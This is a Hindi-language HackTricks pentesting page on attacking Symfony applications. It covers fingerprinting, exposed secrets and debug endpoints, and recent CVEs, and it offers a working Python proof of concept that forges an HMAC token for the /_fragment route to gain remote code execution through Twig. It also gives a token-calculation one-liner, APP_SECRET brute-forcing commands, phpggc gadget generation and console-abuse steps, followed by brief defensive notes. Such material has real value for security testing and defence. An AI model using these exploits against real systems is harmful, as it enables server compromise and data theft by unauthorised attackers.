Symfony
Reading time: 7 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Symfony सबसे व्यापक रूप से उपयोग किए जाने वाले PHP फ्रेमवर्क में से एक है और नियमित रूप से एंटरप्राइज, ई-कॉमर्स और CMS लक्ष्यों (Drupal, Shopware, Ibexa, OroCRM … सभी Symfony घटकों को एम्बेड करते हैं) के आकलनों में दिखाई देता है। यह पृष्ठ आक्रामक सुझावों, सामान्य गलत कॉन्फ़िगरेशन और हाल की कमजोरियों को एकत्र करता है जिन्हें आपको एक Symfony एप्लिकेशन खोजने पर अपनी चेकलिस्ट में शामिल करना चाहिए।
ऐतिहासिक नोट: पारिस्थितिकी तंत्र का एक बड़ा हिस्सा अभी भी 5.4 LTS शाखा (EOL नवंबर 2025) पर चल रहा है। हमेशा सटीक छोटे संस्करण की पुष्टि करें क्योंकि कई 2023-2025 सुरक्षा सलाहकार केवल पैच रिलीज़ में ठीक किए गए थे (जैसे 5.4.46 → 5.4.50)।
Recon & Enumeration
Finger-printing
- HTTP प्रतिक्रिया हेडर:
X-Powered-By: Symfony
,X-Debug-Token
,X-Debug-Token-Link
या कुकीज़ जोsf_redirect
,sf_session
,MOCKSESSID
से शुरू होती हैं। - स्रोत कोड लीक (
composer.json
,composer.lock
,/vendor/…
) अक्सर सटीक संस्करण प्रकट करते हैं:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- सार्वजनिक मार्ग जो केवल Symfony पर मौजूद हैं:
/_profiler
(Symfony Profiler & debug toolbar)/_wdt/<token>
(“Web Debug Toolbar”)/_error/{code}.{_format}
(सुंदर त्रुटि पृष्ठ)/app_dev.php
,/config.php
,/config_dev.php
(pre-4.0 dev front-controllers)- Wappalyzer, BuiltWith या ffuf/feroxbuster शब्दसूचियाँ:
symfony.txt
→/_fragment
,/_profiler
,.env
,.htaccess
के लिए देखें।
Interesting files & endpoints
Path | Why it matters |
---|---|
/.env , /.env.local , /.env.prod | अक्सर गलत तरीके से तैनात → लीक APP_SECRET , DB creds, SMTP, AWS keys |
/.git , .svn , .hg | स्रोत प्रकटीकरण → क्रेडेंशियल + व्यावसायिक तर्क |
/var/log/*.log , /log/dev.log | वेब-रूट गलत कॉन्फ़िगरेशन स्टैक-ट्रेस को उजागर करता है |
/_profiler | पूर्ण अनुरोध इतिहास, कॉन्फ़िगरेशन, सेवा कंटेनर, APP_SECRET (≤ 3.4) |
/_fragment | ESI/HInclude द्वारा उपयोग किया जाने वाला प्रवेश बिंदु। एक बार जब आप APP_SECRET जानते हैं तो दुरुपयोग संभव है |
/vendor/phpunit/phpunit/phpunit | यदि सुलभ हो तो PHPUnit RCE (CVE-2017-9841) |
/index.php/_error/{code} | Finger-print & कभी-कभी अपवाद ट्रेस लीक |
High-impact Vulnerabilities (2023-2025)
1. APP_SECRET disclosure ➜ RCE via /_fragment
(aka “secret-fragment”)
- CVE-2019-18889 मूल रूप से, लेकिन अभी भी आधुनिक लक्ष्यों पर दिखाई देता है जब डिबग सक्षम छोड़ दिया जाता है या
.env
उजागर होता है। - एक बार जब आप 32-चर
APP_SECRET
जानते हैं, तो एक HMAC टोकन तैयार करें और मनमाने Twig को निष्पादित करने के लिए आंतरिकrender()
नियंत्रक का दुरुपयोग करें:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- उत्कृष्ट लेखन और शोषण स्क्रिप्ट: Ambionics ब्लॉग (संदर्भ में लिंक किया गया)।
2. Windows Process Hijack – CVE-2024-51736
Process
घटक ने Windows परPATH
से पहले वर्तमान कार्यशील निर्देशिका की खोज की। एक हमलावर जो एक लिखने योग्य वेब-रूट मेंtar.exe
,cmd.exe
, आदि अपलोड करने में सक्षम है औरProcess
को ट्रिगर करता है (जैसे फ़ाइल निष्कर्षण, PDF निर्माण) कमांड निष्पादन प्राप्त करता है।- 5.4.50, 6.4.14, 7.1.7 में पैच किया गया।
3. Session-Fixation – CVE-2023-46733
- प्रमाणीकरण गार्ड ने लॉगिन के बाद एक मौजूदा सत्र ID का पुन: उपयोग किया। यदि एक हमलावर कुकी सेट करता है पहले पीड़ित प्रमाणीकरण करता है, तो वे लॉगिन के बाद खाते को हाईजैक कर लेते हैं।
4. Twig sandbox XSS – CVE-2023-46734
- उन अनुप्रयोगों में जो उपयोगकर्ता-नियंत्रित टेम्पलेट्स (व्यवस्थापक CMS, ईमेल बिल्डर) को उजागर करते हैं,
nl2br
फ़िल्टर का दुरुपयोग किया जा सकता है ताकि सैंडबॉक्स को बायपास किया जा सके और JS इंजेक्ट किया जा सके।
5. Symfony 1 gadget chains (अभी भी विरासती ऐप्स में पाए जाते हैं)
phpggc symfony/1 system id
एक Phar पेलोड उत्पन्न करता है जो RCE को ट्रिगर करता है जबsfNamespacedParameterHolder
जैसी कक्षाओं पर unserialize() होता है। फ़ाइल-अपलोड अंत बिंदुओं औरphar://
रैपर की जांच करें।
PHP - Deserialization + Autoload Classes
Exploitation Cheat-Sheet
Calculate HMAC token for /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
कमजोर APP_SECRET
का ब्रूटफोर्स
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE via exposed Symfony Console
यदि bin/console
php-fpm
या सीधे CLI अपलोड के माध्यम से पहुँच योग्य है:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Use deserialization gadgets inside the cache directory or write a malicious Twig template that will be executed on the next request.
Defensive notes
- कभी भी debug (
APP_ENV=dev
,APP_DEBUG=1
) को production में लागू न करें; वेब-सेवा कॉन्फ़िगरेशन में/app_dev.php
,/_profiler
,/_wdt
को ब्लॉक करें। - रहस्यों को env vars या
vault/secrets.local.php
में स्टोर करें, कभी भी उन फ़ाइलों में नहीं जो दस्तावेज़-रूट के माध्यम से सुलभ हैं। - पैच प्रबंधन को लागू करें – Symfony सुरक्षा सलाहकारियों की सदस्यता लें और कम से कम LTS पैच-स्तर बनाए रखें।
- यदि आप Windows पर चलाते हैं, तो तुरंत अपग्रेड करें ताकि CVE-2024-51736 को कम किया जा सके या
open_basedir
/disable_functions
रक्षा-गहराई जोड़ें।
Useful offensive tooling
- ambionics/symfony-exploits – secret-fragment RCE, debugger routes discovery.
- phpggc – Ready-made gadget chains for Symfony 1 & 2.
- sf-encoder – small helper to compute
_fragment
HMAC (Go implementation).
References
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।